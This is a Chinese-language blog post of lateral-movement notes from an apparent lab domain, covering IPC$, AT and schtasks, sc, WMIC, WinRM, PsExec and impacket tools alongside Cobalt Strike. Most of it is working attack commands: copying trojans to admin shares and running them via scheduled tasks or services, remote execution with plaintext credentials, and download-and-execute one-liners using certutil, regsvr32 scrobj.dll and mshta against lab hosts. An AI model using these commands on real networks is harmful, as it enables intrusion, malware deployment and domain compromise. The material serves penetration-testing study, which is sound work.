横向移动基础篇

横向移动

linux、windows移动

环境:

image-20241010104344456

思路&流程:获取webserver的webshell进入内网域,cs上线webserver,信息收集,端口扫描(判断目标域内主机),密码凭证(cs插件)、木马上传、木马移动

用户

DC !@#qazwsx0 192.168.41.10
yf1 !@#qazwsx1 192.168.41.10
yf2 !@#qazwsx2 192.168.41.10
yf3 !@#qazwsx3 192.168.41.10
yf4 !@#qazwsx4 192.168.41.10
yf5 !@#qazwsx5 192.168.41.10

image-20241010123334874

基础信息收集

判断域环境:shell ipconfig /all

image-20241010143109575

ping获取DC的IP:shell ping yf.com

image-20241010170752886

通过c端的端口扫描,扫出存活主机:

image-20241010172523811

在目标列表查看

image-20241010173146384


工具篇

1、IPC$

IPC$是共享”命名管道”的资源,他是为了让进程间通信而开放的命令管道,通过提供就信任的用户名和命令,连接双方可以建立安全的通道并以此通道进行加密数据的交换,从而实现对计算机的访问。

利用IPC$,连接者和目标主机利用建立的连接可以得到目标i主机上的目录结构、用户列表等信息。

使用条件

  • 开放139、445端口

IPC$可以实现远程登录及对默认共享的访问,而139端口的开启则表示netbios协议(用于局域网(LAN)中的计算机之间进行通信的应用层协议)的应用,我们可以通过139、445端口来实现对共享文件/打印机的访问,因此一般来说,IPC$连接是需要139或445端口来支持的。

IPC$连接一般走445端口,不通的话走139端口

  • 目标开启了IPC$文件共享服务及默认开启的共享

默认共享是为了方便管理员的远程管理而默认开启的

默认共享包括:所有逻辑磁盘(C:、D:、E:)和系统目录WINNT、WINDOWS(ADMIN$)。IPC连接则可以实现对这些默认的共享的访问。

可以通过命令 net share 命令来查看共享情况

image-20241011141123405

  • 需要目标机的管理员账号和密码

默认只有被添加到远程计算机管理员组的域用户才有权限对admin$目录建立IPC连接,且处于安全考虑,默认情况下本地Administrator会被禁用(本地都无法使用Administrator),只有重新启用本地Administrator用户,才能通过本地Administrator来建立IPC$连接

常用命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
1、连接
net use \\192.168.41.10\ipc$ /user:administrator "1qaz@WSX3e"

2、查看连接情况
net use

3、查看目标主机的时间
net time \\192.168.41.10

4、删除连接
net use \\192.168.41.10\ipc$ /del
net use * /del /y

5. 文件上传下载
copy shell.exe \\192.168.41.10\c$\windows\temp\plugin_update.exe
copy \\ 192.168.41.10 \c$\59.exe c:\

6. 查看目标主机文件
dir \\192.168.41.10\c$

7. 开放/关闭 ipc$ 共享。
net share ipc$
net share ipc$ /del

8. 共享计算机 C 盘。
net share C=c:\

9. 映射共享磁盘到本地
net use z: \\192.168.41.10\c$ /user:administrator "1qaz@WSX3e"

10. 查看/删除共享的资源。
net share
net share C /del

11. 取消IPC远程连接。
net use c: /del
net use * /del /y

IPC$连接报错兼原因

1
2
3
4
5
6
7
8
9
10
11
12
错误号 5,拒绝访问 【很可能你使用的用户不是管理员权限,先提升权限】
错误号 51,Windows 无法找到网络路径 【网络有问题】
错误号 53,找不到网络路径 【ip 地址错误;目标未开机;目标 lanmanserver 服务
未启动;目标有防火墙(端口过滤)】
错误号 67,找不到网络名 【你的 lanmanworkstation 服务未启动;目标删除了
ipc$;】
错误号 1219,提供的凭据与已存在的凭据集冲突 【你已经和对方建立了一个ipc$,请删除后再连】
错误号 1326,未知的用户名或错误密码 【用户名或密码错误】
错误号 1385,登录失败:未授予用户在此计算机上的请求登录类型
错误号 1792,试图登录,但是网络登录服务没有启动 【目标NetLogon服务未启动[连接域控会出现此
情况]】
错误号 2242,此用户的密码已经过期 【目标有帐号策略,强制定期要求更改密码】

IPC+AT+Schtasks

AT简介

AT命令可在指定时间和日期、在指定计算机上运行命令和程序,用于运行我们的木马。且只适用于windows server 2012等之前的老版本。

利用

1
2
3
4
5
6
net use \\192.168.41.10\c$ /user:administrator "1qaz@WSX3e"
copy 59.exe \\192.168.41.10\c$
查看远程主机时间:net time \\192.168.41.10
AT命令添加任务:at \\192.168.41.10 19:08 c:\59.exe
AT命令删除任务:at \\192.168.41.10 1 /delete
AT命令查看任务:at \\192.168.41.10 #查看at任务列表,已经执行了的,不会显示。

注意项

问题:执行at命令时,显示绑定句柄无效。
解决:echo 192.168.41.10 RemoteHost > C:\Windows\System32\drivers\etc\hosts
AT命令在windows server 2012等新版系统中已被弃用
AT命令如果找不到网络路径,则判断是目标主机已禁用 Task Scheduler服务

Schtasks简介

用于windows server 2012及其之后的系统,命令允许管理员创建、删除、查询、更改、终止本地或远程系统的上的计划任务。

1
2
3
4
5
6
7
8
/Create 创建新计划任务。
/Delete 删除计划任务。
/Query 显示所有计划任务。
/Change 更改计划任务属性。
/Run 按需运行计划任务。
/End 中止当前正在运行的计划任务。
/ShowSid 显示与计划的任务名称相应的安全标识符。
/? 显示此帮助消息。

利用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#创建任务
schtasks /create /tn task1 /U 域\域用户 /P 域用户密码 /tr 命令(木马程序) /sc ONSTART /s 域机器 ip /RU system

#运行任务
schtasks /run /tn task1 /s 192.168.41.10 /U 域/域用户 /P 域用户密码

schtasks /run /s 192.168.41.10 /tn beacon /i #运行beacon任务


#删除任务
schtasks /F /delete /tn task1 /s 域机器ip /U 域\域用户 /p 域用户密码

schtasks /delete /s 192.168.41.10 /tn beacon /f #删除beacon任务


schtasks /create 创建新的计划任务。
/sc schedule 指定计划类型。有效值为 MINUTE、HOURLY、DAILY、WEEKLY、MONTHLY、ONCE、ONSTART、ONLOGON、ONIDLE。
/mo modifier 指定任务在其计划类型内的运行频率。这个参数对于 MONTHLY 计划是必需的。
对于 MINUTE、HOURLY、DAILY 或 WEEKLY 计划,这个参数有效,但也可选。默认值为 1。
/tr <TaskRun> 指定任务运行的程序或命令。如果忽略该路径,SchTasks.exe 将假定文件在 Systemroot\System32 目录下。
/tn <TaskName> 指定任务的名称。

IPC实操

1、凭证获取

image-20241010172607293

不一定能抓取到,抓取的规则一般是:其他主机远程连接的痕迹遗留之类的

image-20241010173310494

2、连接域控

方式一:直接用命令:shell net use \192.168.41.10\ipc$ “!@#qazwsx258” /user:yf.com\administrator

方式二:cs插件实现image-20241010223253213

shell net use 显示成功连接image-20241011152931360

在跳板机上部署正向连接木马bind_tcp,监听本地2222端口

image-20241011152636587

3、转移木马(正向木马)

shell copy 2.exe \192.168.41.10\c$

image-20241011153013487

进一步验证,成功移动:dir \192.168.41.10\C$

image-20241011163406778

4.1、打定时任务运行

schtasks /S 192.168.41.10 /U administrator /P !@#qazwsx258 /Create /TN test /TR ‘c:\2.exe’ /SC once /ST 16:02 /F 时间自定义,时间一过自动执行

image-20241011153801620

4.2、未设置具体时间的定时任务

schtasks /S 192.168.41.10 /U administrator /P !@#qazwsx258 /Create /TN test /TR ‘c:\2.exe’ /SC DAILY /F 设置一个待运行的定时任务

image-20241011154302580

schtasks /S 192.168.41.10 /U administrator /P !@#qazwsx258 /Run /TN test #运行test任务

image-20241011162114963

5、查看定时任务

chcp 65001 #修改编码,方便后面查看任务

schtasks /S 192.168.41.10 /U administrator /P !@#qazwsx258 /Query /TN test /V #查看任务

:有时候能查看不到任务,我们可以用之前的创建任务成功或者直接运行任务来确认,如下

image-20241011161118594

6、待定时任务运行后连接

connect 192.168.41.10 2222,上线

image-20241011162227082

7、删除定时任务

schtasks /delete /tn test /s 192.168.41.10 /u administrator /p !@#qazwsx258 /F

image-20241011162444349


IPC+SC

sc简介

sc 是 Windows 的服务控制命令,用于创建、配置、管理、注册、删除和查询系统服务。

SC详细命令:https://www.cnblogs.com/cnsend/p/12907229.html

SC远程注册服务

1
2
3
4
5
6
7
8
#sc远程创建服务
sc \\192.168.41.10 create test binpath= "c:\2.exe" obj= "域\administrator"
password= !@#qazwsx258
#sc启动指定服务
sc \\192.168.41.10 start test
#sc停止、删除指定服务
sc \\192.168.41.10 stop test
sc \\192.168.41.10 delete test

实操

sc \192.168.41.10 create test binpath= “c:\2.exe” obj= “yf.com\administrator” password= “!@#qazwsx258”

image-20241011171340321

sc \192.168.41.10 start test
sc \192.168.41.10 stop test
sc \192.168.41.10 delete test

不过不知道哪里出问题了

image-20241011165202308

查看成功创建的服务

image-20241011165652399

注意:设置选项的每个’=’后面都要有一个空格

具体原因没有找到,试了其他命令,也还是没有办法


2、WMIC

WMIC(Windows Management Instrumentation Windows 管理规范)是用户管理本地和远程计算机的一个命令行模型。通过它可以访问、配置、管理、监视几乎所有的Windows资源。WMI的语法基本上和常见的命名空间、对象等用得几乎一摸一样,他对应Windows里的WMI服务(winmgmt)。

该服务存在于win 2000之后。WMIWMI使用公共信息模型(CIM)表示托管组件,其中包括系统、应用程序、网络等等。CIM中使用类表示管理对象,命名空间是一个类的集合。

通过使用135端口上的远程过程调用(RPC)进行通信进而进行远程访问,而WMIC是为WMI提供的命令行界面。

image-20241011173540453

命令利用条件

  1. Windows Management Instrumentation 服务开启,端口TCP 135,默认开启
  2. 防火墙允许135、445等端口通信

利用方法

  • 查询进程信息
1
wmic /node:192.168.41.10 /user:administrator /password:!@#qazwsx258 process list brief

WMI不支持执行命令,而是支持执行文件,可以通过加相应的参数执行命令,并且执行指令、运行程序会隐性执行、运行,不会在桌面出现弹窗,如下

1
wmic /node:192.168.41.10 /user:administrator /password:!@#qazwsx258 process call create "cmd.exe /c ipconfig"
  • 利用create创建进程
1
wmic process call create /?

image-20241011202807170

隐性运行木马

1
wmic /node:192.168.41.10 /user:administrator /password:!@#qazwsx258 process call create "cmd /c c:\2.exe"

如果出现User credentials cannot be used for local connections,应该是调用calc.exe程序权限不
够的问题
如果出现Description = 无法启动服务,原因可能是已被禁用或与其相关联的设备没有启动,判断
WMI服务被禁用

wmic命令缺点是没有回显,可以使用wmiexec.vbs脚本实现回显。

  • 下载远程文件并执行
1
2
3
4
5
6
wmic /node:192.168.41.10 /user:administrator /password:1qaz@WSX3e process call
create "cmd /c certutil.exe -urlcache -split -f http://192.168.41.10/test.exe
c:/windows/temp/test.exe & c:/windows/temp/test.exe"

wmic /node:192.168.41.10 /user:administrator /password:1qaz@WSX3e process call
create "regsvr32 /s /n /u /i:http://192.168.41.10:8080/feY7nzY.sct scrobj.dll"

3、WinRM

:出网机设置为Win10系统,win等其他机器的自带工具的版本会给实验带来不便。

winRM是一种WIndows系统中的远程管理服务,它通过WS-Management协议进行远程管理和脚本执行。该服务的端口默认为5985(HTTP)、5986(HTTPS,要配置证书)。在windows server 2012及其之后的版本都是默认启用的,不过还是要手动配置TrustedHosts(信任主机名单)、身份验证和防火墙规则。

利用条件

在双方都开启WinRM服务的时候,跳板机需要将目标机器的 IP 地址或主机名添加到 TrustedHosts 列表中,以便能够进行身份验证和连接。如果没有将目标机加入 TrustedHosts 列表,跳板机将无法通过 IP 地址进行连接目标。(域用户可以不是加入TrustedHosts列表,也能连接

配置实验环境

1、开启WinRM
  • 判断本地是否开启WinRM服务
1
winrm enumerate winrm/config/listener   //下面是未开启的状态

image-20241011204202556

WinRM 服务在当前网络配置下无法运行,因为网络连接类型被设置为“公用”,而 WinRM 防火墙例外只适用于“专用”或“域”网络。使用Powershell5及其以上版本的命令来修改连接

1
Get-NetConnectionProfile  #查看当前的网络配置

image-20241013132556286

1
2
#把未识别网络的那个网卡修改为专有
Set-NetConnectionProfile -InterfaceIndex 5 -NetworkCategory Private

image-20241013133457254

再次开启winRM

1
winrm quickconfig

image-20241013133602151

1
2
3
4
#查看WinRM服务端进程
netstat -ano | findstr 5985
或者
wmic service list brief | findstr WinRM

image-20241013133724486

  • 判断目标主机是否开启WinRM

直接通过端口扫描,探查出目标机可能使用WinRM服务

image-20241013134352244

Winrs执行命令

WinRS(Windows Remote Shell)是基于 WinRM(Windows 远程管理服务)的一种远程命令执行工具,它允许你在远程 Windows 计算机上执行命令。

ipconfig

1
winrs -r:http://192.168.41.10:5985 -u:administrator -p:!@#qazwsx258 ipconfig

image-20241013134509418

远程下载木马(此处用的正向)(要在跳板机上搭建一个IISweb服务)

1
winrs -r:http://192.168.41.10:5985 -u:administrator -p:!@#qazwsx258 "certutil -urlcache -split -f http://192.168.41.10/2.exe c:\2.exe"

WinRm横向移动

  • 利用winrm参数选项中的invoke参数,来对目标对象执行特定的方法。
1
winrm invoke create wmicimv2/win32_process @{Commandline="calc.exe"}

命令调用了Windows WMI中Win32_process类的Create方法,生成了一个calc.exe的新进程

  • 在远程主机上打开进程
1
winrm invoke create wmicimv2/win32_process @{Commandline="calc.exe"} -r:http://192.168.41.10:5985 -u:administrator -p:!@#qazwsx258

image-20241013135149570

image-20241013135126032

  • 在远程主机上创建服务
1
winrm invoke Create wmicimv2/Win32_Service @{Name="test";DisplayName="test";PathName="cmd.exe /k c:\2.exe"} -r:http://192.168.41.10:5985 -u:administrator -p:!@#qazwsx258

image-20241013141115524

  • 在远程机器上启动服务
1
winrm invoke StartService wmicimv2/Win32_Service?Name=test -r:http://192.168.41.10:5985 -u:administrator -p:!@#qazwsx258

image-20241013141112706

:如果返回值为23,可以利用下面命令删除服务,再重新创建并运行即可

image-20241013141018695

1
winrm invoke Delete wmicimv2/Win32_Service?Name=test -r:http://192.168.41.10:5985 -u:administrator -p:!@#qazwsx258

然后直接连接即可

image-20241013151814389

横向移动外部工具篇

Psexec

Psexec简介

PsExec是telnet的轻量替代品,可以让你在其他主机上执行进程。并为控制台应用程序提供完整的交互性,而无需手动安装客户端软件。

Psexec原理&流程使用

  1. ips$把Psexesvc.exe安装到目标机
  2. 通过服务管理 OpenSCManager 打开受害者机器上服务控制管理器的句柄
  3. 通过CreateService创建服务
  4. 获取服务句柄 OpenService 使用 StartService 启动服务

Psexec使用前提

  1. 对方主机开启了admin$共享,如果关闭了 admin$ 共享,会提示:找不到网络名
  2. 对方未开启防火墙
  3. 如果是工作组环境,则必须使用 administrator 用户连接(因为要在目标主机上面创建并启动服
    务),使用其他账号(包括管理员组中的非administrator用户)登录都会提示访问拒绝访问。
  4. 如果是域环境,即可用普通域用户连接也可以用域管理员用户连接。连接普通域主机可以用普通域用户,连接域控只能用域管理员账户。

Psexec.exe使用

1、直接使用

如果出现找不到网络名,判断目标主机已禁用ADMIN$共享,且第一次运行会弹框,输入 –accepteula 这个参数就可以绕

1
.\PsExec.exe \\192.168.41.10 -u de1ay\Administrator -p !@#qazwsx258 -s cmd.exe -accepteula

2、建立IPC后使用

1
2
3
4
5
net use \\IP /u:域名称\域账号 密码
反弹cmd:
psexec.exe \\192.168.41.10 -s cmd.exe -accepteula
执行命令:
psexec.exe \\192.168.41.10 whoami -accepteula

使用手册:重要参数

1
2
3
4
-c <[路径]文件名>:拷贝文件到远程机器并运行(注意:运行结束后文件会自动删除)
-d 不等待程序执行完就返回
比如想上传一个本地的getpass到你远程连接的服务器上去:
Psexec.exe \\ip -u user -p pass -c c:\getpass.exe –d

3、CS自带PSexec

1
2
beacon> shell psexec.exe \\192.168.41.10 -u de1ay\Administrator -p 1qaz@WSX3e whoami
beacon> shell psexec.exe \\192.168.41.10 -u de1ay\Administrator -p 1qaz@WSX3e mshta http://192.168.41.10:8088/download/file.ext #不加双引号

Psexec.py的使用

impacket套件中的Psexec与官方psexec.exe相比会自动删除服务,增加隐蔽性

为了惊扰机器,我们可以通过代理技术,在本地直接用工具测试

交互式命令行

1
2
3
C:\>psexec.py yf/administrator:!@#qazwsx258@192.168.41.10

就会在本地开启目标机的cmd

image-20241013185515626

直接执行命令

1
C:\>psexec.exe de1ay/administrator:1qaz@WSX3e@10.10.10.201 whoami

cs使用

1
2
3
shell c:\psexec.exe administrator:1qaz@WSX@10.10.10.201 whoami

shell c:\psexec.exe administrator:1qaz@WSX@10.10.10.201 mshta http://192.168.78.104:80/download/file.ext

Smbexec.py

impacket套件
smbexec是一款基于psexec的域渗透测试工具,并配套samba工具。

445端口

1
2
3
4
C:\>smbexec.py de1ay/administrator:1qaz@WSX3e@10.10.10.201
Impacket v0.9.17 - Copyright 2019 SecureAuth Corporation
[!] Launching semi-interactive shell - Careful what you execute
C:\Windows\system32>

image-20241013185704780


横向移动基础篇
http://example.com/2025/05/05/横向移动基础篇/
作者
Yf3te
发布于
2025年5月5日
许可协议